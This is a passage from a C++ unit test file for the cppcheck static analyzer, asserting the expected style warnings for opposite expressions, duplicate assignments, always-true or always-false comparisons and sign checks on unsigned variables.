\" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) 